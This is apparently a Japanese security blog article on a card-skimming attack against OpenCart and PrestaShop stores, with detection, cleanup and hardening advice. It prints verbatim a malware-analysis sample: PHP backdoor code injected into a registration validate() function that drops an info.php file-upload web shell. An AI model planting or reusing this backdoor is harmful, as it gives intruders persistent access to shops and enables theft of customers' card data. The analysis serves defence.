ネットワークセキュリティ
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティ

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

OpenCartとPrestaShopは、ECサイト運営のための無料オープンソースソリューションです。スタートアップ企業から確立されたブランドまで、13,000以上のモジュールを擁するOpenCartはあらゆるニーズに対応できます。また、顧客体験の向上にも積極的に取り組んでおり、Googleとのパイロットプロジェクト提携も実現しています。しかし、人気が高まるほどハッカーの標的にもなりやすくなります。実際に多くのOpenCartストアがadmin/common/login.phpの改ざん被害を受け、最終的にクレジットカード情報の窃取(OpenCartクレジットカードハッキング)につながっています。攻撃者の主な目的は、OpenCartサイトへの攻撃による金銭的利益の獲得です。セキュリティ企業Astraの研究者たちは、OpenCartストアに対するクレジットカード情報窃取攻撃を発見しました。本記事では、この攻撃を段階的に分析する方法を詳しく解説します。

クレジットカードハッキング:偽の決済方法が追加される

この種の攻撃は長期間検知されないことが多く、サイト運営者が気づくのは顧客からの苦情がきっかけであるケースがほとんどです。今回の事例では、特定のOpenCartストアでのみ使用したクレジットカードが不正利用されたと顧客から通報がありました。さらに調査を進めると、サイト上にフィッシングフォームが設置されていることが判明しました。加えて、管理者パスワードのハッキングも確認されています。Astraの研究者たちが特定したのは、正規のチェックアウトフォームに悪意のあるコードが注入された、クレジットカード情報窃取用のフィッシングフォームでした。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

これはクレジットカードハッキングに使われたフィッシングフォームの画像です。このフィッシングフォームは、ユーザーの銀行認証情報を攻撃者が管理するドメインへ送信します。さらに攻撃者はPayPalなどのデフォルト決済ゲートウェイを無効化しています。こうした感染したOpenCartサイトに共通して見られる特徴は以下の通りです。

  • 以前は存在しなかった不明なファイルが出現する
  • 通常とは異なるログイン挙動が見られる
  • サイト管理者が把握していない新しいデータベース管理者アカウントが存在する
  • ユーザーから不正取引に関する苦情が寄せられる
  • パケット解析ツールで未知のドメインへの外向きトラフィックが確認できる
  • 以前には存在しなかった新しい決済方法が追加されている

OpenCartクレジットカードハッキング:実際の被害例

この攻撃により、OpenCartやPrestaShopストアの運営者は手も足も出せない状態に陥る可能性があります。被害を受けたユーザーは、コミュニティフォーラムでクレジットカードハッキングについて訴えていることが多く、同じスレッドには同じ攻撃の被害を受けた複数のユーザーが書き込んでいることも珍しくありません。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

侵入の手口:管理者パスワードハッキング

バックドアを注入するため、攻撃者はまず管理者権限を取得する必要があります。そのために攻撃者はストア内の脆弱性を悪用しました。その後、eval(base64_decode)のような危険な関数を使ってサーバー上で悪意のあるコードを実行しています。ハッキングにつながった可能性のあるOpenCartの一般的な脆弱性は以下の通りです。

OpenCartのSQLインジェクション

バージョン2.3.0.0より前のOpenCartはSQLインジェクション(SQLi)に対して脆弱でした。悪用には管理者権限が必要でしたが、CVE-2009-1027によりOpenCartはSQLiの危険にさらされていました。また、バグを含むモジュールもSQLiの原因になり得ます。

OpenCartのリモートコード実行

CVE-2010-0956により、OpenCartはリモートコード実行(RCE)に対して脆弱になりました。この脆弱性はindex.phpに存在し、サーバー全体の乗っ取りにつながる可能性がありました。また、OpenCartのjson_decode関数もRCEを引き起こす可能性がありました。

OpenCartの弱い認証情報

弱いパスワードや使い回しのパスワードも侵害の原因になり得ます。単純なブルートフォース攻撃だけでサーバーが奪われる可能性があります。

OpenCartのXSS

攻撃者はXSSを使って管理者を欺いた可能性もあります。CVE-2015-4671によりindex.phpはXSSに対して脆弱であり、zone_idパラメータの脆弱性がハッキングにつながった可能性があります。

OpenCartのゼロデイエクスプロイト

攻撃者が新たな脆弱性を独自に発見し、それを利用してOpenCartストアを侵害した可能性もあります。この可能性は低いものの、十分にあり得るシナリオです。

すべてを感染させる:クレジットカードハッキング

攻撃者がシステムに侵入すると、サイトのあらゆる階層を侵害しようとします。今回の事例では、Astraの研究者たちが顧客と管理者の両方のパスワードが漏洩していることを突き止めました。さらに攻撃者はデータベースへのアクセス権も持っていました。攻撃者が注入したバックドアによってデータベースの整合性も損なわれた可能性があります。データベースへのアクセスは、ユーザーパスワード、氏名、住所、注文情報などの機密情報を盗むために悪用され得ました。

さらにAstraの研究者たちは、2つの決済方法が侵害されていることを発見しました。それは以下の2つです。

  • Authorize.net AIM
  • pp_pro

これらの決済方法が、OpenCart・PrestaShopにおけるクレジットカードハッキングの実行に利用されました。どちらの決済方法にも悪意のあるコードが注入されており、そのコード断片は下記の画像の通りです。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

ここで攻撃者はPHPのCurlライブラリを使用してHTTPリクエストを送信し、その後Smail MTAを使ってメールを作成しています。Smailは軽量かつポータブルなメールエージェントです。このメールには以下の機密情報が含まれています。

  • 注文ID
  • 支払い者の名前(ファーストネーム)
  • 支払い者の姓(ラストネーム)
  • 住所
  • 支払い者の市区町村
  • クレジットカードの有効期限(月・年)
  • CVV番号
  • クレジットカード番号

これらの情報はひとまとめにされ、Yopmailのアドレスへ送信されます。Yopmailは匿名メールサービスであるため、攻撃者の追跡は困難になります。ただし受信箱自体は公開されているため、誰でもアクセスできてしまいます。そこで攻撃者はエイリアス機能を利用しました。このエイリアスはYopmail自体のセキュリティ機能であり、攻撃者の本来の受信箱を特定することは極めて困難になっています。

Authorize.netへの攻撃

Authorize.netはOpenCartストアで動作する決済ソリューションです。攻撃者はクレジットカード情報を盗むために、この決済方法を狙う可能性が非常に高いと言えます。したがって、この決済方法が突然有効化された場合は、あなたのサイトがOpenCartクレジットカードハッキングの標的になっている可能性があります。下の画像は、攻撃者によって有効化された決済方法の様子を示しています。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

一方、すでにAuthorize.netを有効化していた場合、攻撃者がそれを無効化し、独自のフィッシング拡張機能をインストールする可能性もあります。その場合、「merchant ID disabled(マーチャントIDが無効です)」といったメッセージがサイトに表示されることがあります。また、拡張機能ページから決済方法が消えている場合もあります。これらの兆候はすべて、クレジットカード情報窃取の試みを示唆しています。顧客のクレジットカード情報が盗まれた場合は、速やかに顧客へ通知することが重要です。EU圏内で事業を行っている場合、またはEU顧客のデータを処理している場合は、GDPRによりこの情報の開示が義務付けられています。

永続的なアクセスの維持:admin/common/login.phpの改ざん

攻撃者が管理者権限を取得すると、次のステップはコアファイルの改ざんです。コアファイルの改ざんにより、攻撃者はサイトへの常時アクセスを維持できます。継続的なアクセスを確保するため、攻撃者はログイン/管理ページにもコードを注入しました。以下はadmin/common/login.phpが改ざんされた際のコード断片です。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

悪意のあるコードから、攻撃者がメール送信にSmailを使用していることが分かります。Smailはコマンドラインからすべての操作を行えるため、攻撃者の第一選択となっています。その後、ログイン認証情報を使ってメールが作成されます。このユーザー名とパスワードを含むメールは、攻撃者の受信箱へ送信されます。ここで攻撃者はadmin@wsxdn.comを受信箱として指定していました。

さらに、このコードは管理者がログインするたびに実行されます。そのため攻撃者はメールを確認するだけで、最新のログイン認証情報を入手できます。この悪意のあるコードにより、攻撃者はサイトへの常時アクセスを維持できるのです。また、info.phpのようなバックドアも攻撃者の永続化に一役買っています。info.phpについては後述します。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

検知回避:無料登録を悪用した潜伏手法

今回の事例では、サイトが無料会員登録を許可していました。そこで攻撃者は、一般ユーザーがリバースシェルを取得できるようコードを改変しました。悪意のあるコードは以下のようなものでした。

protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }

このコードは特定の電話番号をチェックし、その番号が入力されるとファイルアップロードを許可します。Astraの研究者たちが解明した攻撃の流れは以下の通りです。

  • ステップ1:攻撃者は無料登録を利用して複数の新規ユーザーアカウントを作成しました。複数アカウントを持つことで、検知される可能性を最小限に抑えたのです。
  • ステップ2:次に、入力欄に特定の電話番号を入力しました。攻撃者は実際の電話番号をMD5形式で暗号化して隠蔽しており、その暗号化文字列は66b6d63b9634e1159e53e29858de2c2dです。この電話番号がバックドアをアップロードするためのマスターキーとして機能します。
  • ステップ3:電話番号が入力されると同時に、info.phpという名前のファイルが作成されます。最終的なURLはexample.com/info.phpのようになります。
  • ステップ4:攻撃者がinfo.phpにアクセスすると、ファイルをアップロードできるようになります。
  • ステップ5:このアップロード機能により、攻撃者は感染したPHPファイルをアップロードできます。これらのファイルは攻撃者へのリバースTCP接続やICMP接続などを開きます。ファイルがルートディレクトリにアップロードされた場合、被害はさらに深刻化します。

さらに攻撃者は、画像セクションにもバックドアを隠していました。画像フォルダ内のファイルは発見される可能性が非常に低いため、攻撃者にとって絶好の隠れ場所となったのです。攻撃者は、サイトがクリーンアップされた場合に備え、画像フォルダから再感染させることを企てていました。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

攻撃後のクリーンアップ

攻撃を受けた後に最初に行うべきは、完全なクリーンアップです。感染したファイルを削除し、バックアップから復元してください。バックアップがない場合は、新規インストールを行います。特に決済関連のファイルは必ず復元が必要です。以下のファイルを確認してください。

  • /admin/controller/extension/payment.php
  • /admin/controller/common/login.php
  • /catalog/controller/payment/authorizenet_aim.php

これらのファイルには、OpenCart・PrestaShopのクレジットカードハッキングによる悪意のあるコードが注入されています。直ちに復元してください。また、攻撃者によって改ざんされたファイルを見つけることも重要です。これは以下のSSHコマンドで確認できます。

$ find ./ -type f -mtime -15

タイムスタンプを確認し、攻撃者によって改ざんされたファイルを削除してください。また、PhpMyAdminのようなツールも、この混乱の収拾に役立ちます。

OpenCart・PrestaShopのクレジットカード情報窃取攻撃を徹底解説:管理者パスワード侵害からカード情報流出まで

悪意のあるドメインの検出にPhpMyAdminを使用している様子のサンプル画像です。

攻撃への対策

管理フォルダを保護する

管理フォルダの名前を変更しましょう。これにより攻撃者がフォルダを発見しにくくなります。さらに.htaccessを使用して、管理者のIPアドレス以外からのログインフォルダへのアクセスをすべて拒否しましょう。

カタログを保護する

.htaccessは、カタログや.txt、.twigなどの機密ファイルの保護にも使えます。FilesMatchディレクティブで対応可能です。要件に応じて、以下の行を.htaccessファイルに追加してください。

<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>

フォルダのアクセス権限を制限する

OpenCartのファイルやサブフォルダには管理者のみがアクセスできるようにしましょう。そのためには、以下のコードを.htaccessファイルに追加するだけです。

<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>

ファイルのアクセス権限を制限する

機密ファイルは、ファイル権限を644または444に設定して保護しましょう。これにより第三者による書き込みを防げます。主な機密ファイルは以下の通りです。

  • config.php
  • index.php
  • admin/config.php
  • admin/index.php
  • system/startup.php

Astraファイアウォール

OpenCart・PrestaShopのクレジットカードハッキングは、ストアの評判に深刻な打撃を与えます。ユーザーは今後、そのストアでのオンライン決済に不安を感じるようになるでしょう。したがって、将来の同種攻撃を未然に防ぐことが最善策です。それを実現するのがファイアウォールです。Astraのファイアウォールは、すべてのトラフィックを監視し、悪意のあるリクエストを検知します。安全なリクエストだけがサーバーに到達することを保証します。さらにAstraは、新しいログインやファイル改ざんについても通知してくれます。Astraを導入すれば、OpenCart・PrestaShopストアをadmin/common/login.phpの改ざん被害から守ることができます。

  1. iPhoneでクレジットカード情報と保存済みパスワードを確認する方法(iOS 12)

    iOSの「保存されたパスワード」と「自動入力」機能とはAppleはユーザーの利便性向上のため、iOSデバイスに「保存されたパスワード」や「自動入力(Autofill)」機能を搭載しています。iOS 7の登場以降、Webサイトにアクセスするたびにパスワードを入力する必要がなくなり、「自動入力」機能を使えば、氏名やメールアドレス、電話番号などの基本情報もオンラインフォームへ自動的に入力できるようになりました。さらに、iCloudキーチェーンの登場により、Safariブラウザ上にパスワードだけでなく、クレジットカード番号などのカード情報も安全に保存できるようになりました。MacBookのSafari

  2. メールアドレスとパスワードの漏洩をチェックする方法|Have I Been PwnedとLastPassの使い方

    自分のアカウント情報がすでに漏洩しているかも? 普段使っているメールアドレスとパスワードが、実は何者かに流出している——そんな可能性を考えたことはありますか?残念ながら、これは決して他人事ではありません。ここ数年でセキュリティ侵害による情報漏洩は急増しており、YahooやEquifaxといった大手企業のサーバーからも大量のユーザーデータがハッキングされています。こうした企業にアカウントを持っている場合、あなたのデータがすでにダークウェブ上に出回っている可能性もあります。 特に危険なのが、複数のサービスで同じパスワードを使い回しているケースです。1つのアカウントから漏洩した情報をもとに、他のアカ